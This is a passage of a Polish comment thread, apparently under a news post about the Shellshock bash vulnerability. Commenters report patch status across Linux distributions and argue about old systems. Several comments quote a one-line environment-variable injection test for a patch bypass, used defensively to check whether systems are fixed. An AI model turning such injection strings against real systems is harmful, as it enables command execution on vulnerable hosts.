    • No, 053 wyszedł.

    • +1 na starym slacku z 2006 ;-) podmienilem binarke i smiga, jest juz patch 53 czyli ostateczny. Teraz sie zastanawiam ile pudelek typu AP mam podanych na taki atak, wszystkie za NAT czyli teoretycznie bezpieczne (domowe)…

  53. a Czemu nie robić 4.3 ?

    • A chcesz potem przepisywać połowe skryptów (w tym startowych) bo się coś sypnie? ;)
      btw. webster – każdy nowy komentarz ma opcje “Reply” – korzystaj z tego ;)

    • @BloodMan

      1. >>> LOL. Zacznij sobie robić paczki i poznawać swój system to go nie rozwalisz. Polecam popracować na slackware to zaczniesz qmać. Powinieneś zainstalować wersję 4.3, albo zaktualizować przy pomocy managera paczek, albo ewentualnie jak Wolisz z rączki przygotować sobie paczkę pod swoją dys i pilnować aktualizacji. Ręczne make install ? Lol to lata 90′ te ?

      2. >>> Jak widzisz dałem też replay do Twojego posta – czyli znalazłem. W tym temacie wystarczająco natrzaskałem replay by znać tę opcję. Przeczesz komenty to mnie znajdziesz. Zgryzotą i wrednymi komentami nie zmieniasz świata.

    • A czytania ze zrozumieniem w szkole nie nauczyli? Za to szczekanie masz opanowane na 100%.
      Hint z 1 zdania: “stare wersje systemów” + “niewspierane” + “nowych się nie przewiduje”.
      Dotarło?

    • Człowieku, co Ty za głupoty Piszesz? Co ma piernik do wiatraka czy system jest wspierany czy nie?. Co to znaczy nowych nie przewiduje? Ściągnij sobie na to swoje stare cudo 4.3 i daj ./configure && make. I przestan gadac glupoty.

      PS. dzisiaj kompilowalem na slackware 11.0 z 2006r

    • Myślę że dalsza dyskusja w temacie zasadności jest bezcelowa.
      Mam nadzieję że kiedyś zrozumiesz że nie wszędzie działa i nie wszędzie da się inaczej.
      I miło że poinformowałeś wszystkich że na slackware z 2006r. działa. Dajesz rade!
      EOT

    • Fakt, że nie ma bo bzdury Piszesz.

      Specjalnie dla Ciebie wyszukałem najstarszą maszynę jaką udało mi się wygrzebać

      Starusieńka Fedora

      Z powodu znaków szczególnych nie mogę wkleić logów więc zapraszam -> http://wklejto.pl/211720

      EOT.

    • Szkoda, że mój post gdzie udowodniłem koledze, że na starej fedorze z 2003 nie został zaakceptowany przez moderatora i opublikowany. Penie moderoatorem jest BlodzikMan albo kolega :)

  54. Mam pytanie dotyczące podatności Tomato. Przy włączonej obsłudze SSH sytem jest podatny. Czy samo wyłączenie obsługi SSH rozwiązuje problem ?

    • openwrt/gargoyle już załatane, tomato i ddwrt pewnie też, zaktualizuj system

    • root@Gargoyle:~# env X='() { (a)=>\’ sh -c “echo date”; cat echo
      date
      cat: can’t open ‘echo’: No such file or directory

  55. Gentoo załatane ;)

  56. Wychodzi łata za łatą na basha :)
    CentOS załatany…

  57. U mnie OS X załatany :)

  58. lcamtuf ‏@lcamtuf 29 min.
    Found 6th and most serious issue in bash, equiv to the original RCE. If you’re using just the first patch, you’ll be in trouble soon.

  59. Jest już łatka na debiana 7 x64?

  60. nvm, Wheezy załatany :D

  61. W mincie 16 brak łatki (“system jest aktualny”) :( Jak żyć?

  62. Tak trochę po łebkach podeszliście do tematu z aktualizacją informacji. Chodzi o:
    “Aktualizacja
    Okazuje się, że patch nie łata błędu do końca… Taviso pokazał jak go obejść:

    env X='() { (a)=>\’ sh -c “echo date”; cat echo”

    Otóż update łata. W dystrybucjach “redhatowych” wystarczy yum update bash i po problemie.

    Jak ktoś przed aktualizacją uruchomi komendę:
    env X='() { (a)=>\’ sh -c “echo date”; cat echo
    to tworzy się mu plik echo z miejsca, gdzie go uruchomił.
    Jeśli, więc uruchomi ponownie, po załataniu systemu, to może być zdezorientowany, bo znowu będzie miał wynik z datą :)
    Dlatego warto usunąć plik nowoutworzony plik echo, byle nie używac komendy rm -rf echo, bo jeszcze usunie systemowe echo. Lepiej podać całą ścieżkę np. rm /root/echo.

    Ogólnie przetestowane dla Centos/RHEL/Oracle Linux (5,6) i działa łata:
    OS Bash update
    CentOS 6.3 4.1.2-15.el6_5.2
    CentOS 6.4 4.1.2-15.el6_5.2
    RHEL 6.2 bash-4.1.2-15.el6_5.2.x86_64
    Oracle Linux Server 5.7 bash-3.2-33.el5_11.4.x86_64.rpm
    CentOS 5.5 3.2-33.el5_11.4
    CentOS 6.0 4.1.2-15.el6_5.2
    CentOS 5.7 3.2-33.el5_11.4
    CentOS 6.5 4.1.2-15.el6_5.2
    CentOS 5.8 3.2-33.el5_11.4

    Prośba o aktualizację informacji o aktualizacji :)

  63. […] poważnej dziurze w Bashu informowaliśmy już ponad tydzień temu. Niekończące się pasmo poprawek dla Basha, szeroka […]

  64. […] i “przerażającego” nazywania krytycznych podatności (por. Heartbleed i Shellshock). Brakuje mu też logotypu. Ale społeczność nie próżnuje. Już tworzy własne logotypy i […]

  65. […] perełkami z własnymi logotypami i dedykowanymi stronami internetowymi). Był Heartbleed i Shellshock (bash bug), a teraz pora na GHOST, podatność typu buffer overflow, którą zidentyfikowano w funkcji […]

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: